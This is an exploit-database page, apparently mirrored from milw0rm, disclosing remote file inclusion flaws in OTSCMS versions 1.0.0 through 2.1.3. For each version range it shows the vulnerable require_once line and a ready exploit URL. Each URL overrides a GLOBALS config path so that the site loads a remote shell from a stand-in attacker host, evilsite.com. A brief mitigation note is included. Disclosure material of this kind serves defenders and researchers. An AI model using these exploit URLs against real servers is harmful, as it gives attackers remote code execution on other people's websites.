OTSCMS - exploit.company

vendor:

OTSCMS

by:

GregStar

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: OTSCMS

Affected Version From: 2.0.0

Affected Version To: 2.1.3

Patch Exists: YES

Related CWE: N/A

CPE: a:otscms:otscms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP5

2006

OTSCMS <= 2.1.3 by Wrzasq

OTSCMS 2.0.0 - 2.1.3: A remote file inclusion vulnerability exists in OTSCMS 2.0.0 - 2.1.3. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable application. This can allow the attacker to execute arbitrary code on the vulnerable system. OTSCMS 1.3.0 - 1.4.1: A remote file inclusion vulnerability exists in OTSCMS 1.3.0 - 1.4.1. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable application. This can allow the attacker to execute arbitrary code on the vulnerable system. OTSCMS 1.0.0 - 1.0.3: A remote file inclusion vulnerability exists in OTSCMS 1.0.0 - 1.0.3. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable application. This can allow the attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in the application. Ensure that the application is running the latest version of the software.

Source

Exploit-DB raw data:

**********************************************************************************************************
                                       *                       *
			               * Coding 4 Fun (c4f.pl) *
			               *                       *
			               *************************

* OTSCMS <= 2.1.3 by Wrzasq (www.otscms.com) ; 

* Class = Remote File Inclusion ;
 
* Download = http://sourceforge.net/project/showfiles.php?group_id=145557 ;

* Found by = GregStar (gregstar{at}c4f{dot}pl) ;

-------------------------------------------------------------------------------------------------------------------

OTSCMS 2.0.0 - 2.1.3 :

- Vulnerable Code:

 require_once($GLOBALS['config']['directories']['classes'] . $class . '.php');

- Exploit:

http://[target]/[path]/OTSCMS.php?GLOBALS[config][directories][classes]=http://evilsite.com/shell?

-------------------------------------------------------------------------------------------------------------------

OTSCMS 1.3.0 - 1.4.1 :

- Vulnerable Code:

 require_once($GLOBALS['config']['otscms']['directories']['classes'] . $class . '.php');


- Exploit:

http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][classes]=http://evilsite.com/shell?

-------------------------------------------------------------------------------------------------------------------

OTSCMS 1.0.0 - 1.0.3 :

- Vulnerable Code:

 require_once($GLOBALS['config']['otscms']['directories']['includes'].'OTSCMSException.class.php');

- Exploit:

http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][includes]=http://evilsite.com/shell?

------------------------------------------------------------------------------------------------------------------

Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,RFL,d3m0n,java,kw@ch and for all friends.
**************************************************************************************************************

Notes:
Only works with php5 and 2.1.4 should also be vulnerable using OTSCMS.php with the config variable.
/str0ke

# milw0rm.com [2006-10-23]